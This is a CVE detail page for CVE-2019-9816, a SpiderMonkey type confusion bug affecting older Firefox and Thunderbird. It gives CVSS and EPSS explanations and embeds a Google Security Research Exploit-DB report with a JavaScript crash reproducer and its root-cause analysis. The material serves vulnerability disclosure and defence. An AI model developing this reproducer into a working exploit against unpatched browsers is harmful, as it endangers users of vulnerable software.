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CVE-2019-9816 : Détail

CVE-2019-9816

5.9
/
MEDIUM
53.79%V3
Network
2019-07-23 11:24 +00:00
2019-07-23 11:24 +00:00
CVE.org
NVD

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Descriptions

A possible vulnerability exists where type confusion can occur when manipulating JavaScript objects in object groups, allowing for the bypassing of security checks within these groups. *Note: this vulnerability has only been demonstrated with UnboxedObjects, which are disabled by default on all supported releases.*. This vulnerability affects Thunderbird < 60.7, Firefox < 67, and Firefox ESR < 60.7.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 5.9 MEDIUM CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 46940

Date de publication : 2019-05-28 22:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

While fuzzing Spidermonkey, I encountered the following (commented and modified) JavaScript program which crashes debug builds of the latest release version of Spidermonkey (from commit https://github.com/mozilla/gecko-dev/commit/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c): function O1() { this.s = 'foobar'; this.a = 42; // Avoid unboxed layout for O1 instances as this will cause the JIT // compiler to behave differently and not emit the ObjectGroupDispatch // operation (see below). delete this.a; } // This function will be inlined below in v4, together with the default // Object.prototype.toString implementation. // This just demonstrates that a custom function can be inlined which // will make assumptions about the input ObjectGroup. O1.prototype.toString = function() { return this.s; }; function v4(v5) { // Once v22 is allocated as unboxed object, this will convert it to a // native object, which will cause its ObjectGroup to change. delete v5.nonExistent; // The call to .toString here will be implemented as a switch // (ObjectGroupDispatch operation) on the ObjectGroup with two cases // (ObjectGroup of v22 and v17). Depending on the input, the dispatch will // jump to one of the two inlined implementations of toString. However, // after v22 is allocated as UnboxedObject (still with the same // ObjectGroup as before), the delete operation above will convert it back // to a NativeObject, now changing the ObjectGroup. Afterwards, this // ObjectGroupDispatch operation will see an unexpected ObjectGroup and, // in debug builds, crash with an assertion failure. In release builds // it will just fallthrough to whichever branch was emitted right after // the dispatch operation. return v5.toString(); } function v11() { const v22 = {p: 1337}; v4(v22); let v26 = 0; do { const v17 = new O1; v4(v17); v26++; } while (v26 < 100); } for (let v33 = 0; v33 < 100; v33++) { const v37 = v11(); } The program will crash with an assertion similar to: > ../build_DBG.OBJ/dist/bin/js crash.js Assertion failure: Unexpected ObjectGroup, at js/src/jit/MacroAssembler.cpp:2014 [1] 54116 trace trap ../build_DBG.OBJ/dist/bin/js crash.js It appears that roughly the following is happening here: * Initially, the objects v22 and v17 will be allocated as native objects with two different ObjectGroups (an ObjectGroup [1] stores type information such as the prototype object and property/method types for an object): OG1 and OG2. * Function v4 will be called repeatedly with objects of both ObjectGroups and will eventually be JIT compiled by IonMonkey. At that point, it will be compiled to expect an object with ObjectGroup OG1 or OG2 based on type feedback from the interpreter/baseline JIT and will be deoptimized if it is ever called with an object of a different group. * The call to .toString in v4 will be optimized by inlining [2] the two possible implementations (O1.prototype.toString and Object.prototype.toString) and then performing a switch on the ObjectGroup of the input to determine which implementation to jump to. The switch is implemented by the ObjectGroupDispatch operation. Since both input ObjectGroups are covered, the instruction does not have a default (fallback) path [3]. * At a later point, the allocation site of v22 is modified to create an object with unboxed layout [4] which will store its properties inline in an unboxed form but still use ObjectGroup OG1. * Afterwards, in the JIT code for v4, the delete operation converts the UnboxedObject back to a NativeObject [5], this time changing the ObjectGroup to a new group OG3 [6]. * Finally, when executing the machine code for the ObjectGroupDispatch operation, the new ObjectGroup matches none of the expected ones. At this point the program will crash with an assertion in debug builds. In release builds, it would now simply fall through to whichever one of the inlined implementations was directly following the ObjectGroupDispatch operation. At least this way of triggering the bug is related to UnboxedObjects, which have recently been disabled by default: https://github.com/mozilla/gecko-dev/commit/26965039e60a00b3600ce2e6a559106e4a3a30ca However, I am not sure if the conversion from unboxed to native objects due to the property deletion is the only reason that an object's ObjectGroup can change unexpectedly (in this situation). As for exploitation, it might be possible to cause a type confusion by causing a fallthrough to the inlined code for the other ObjectGroup. In that case, the inlined code would expect to receive an object of a specific ObjectGroup and might omit further security checks based on that. For this specific sample it seems that the fallthrough path always happens to be the correct one (i.e. the one for Object.prototype.toString), but I assume it could also be the other way around in a different context. Furthermore, it might be possible to cause other code constructs (apart form the ObjectGroupDispatch) that rely on ObjectGroup information to misbehave in this situation. [1] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/ObjectGroup.h#L87 [2] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonBuilder.cpp#L4517 [3] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonBuilder.cpp#L4923 [4] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L1416 [5] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L1150 [6] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L756

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version To (excluding) 67.0

Mozilla>>Firefox_esr >> Version To (excluding) 60.7

Mozilla>>Thunderbird >> Version To (excluding) 60.7

References


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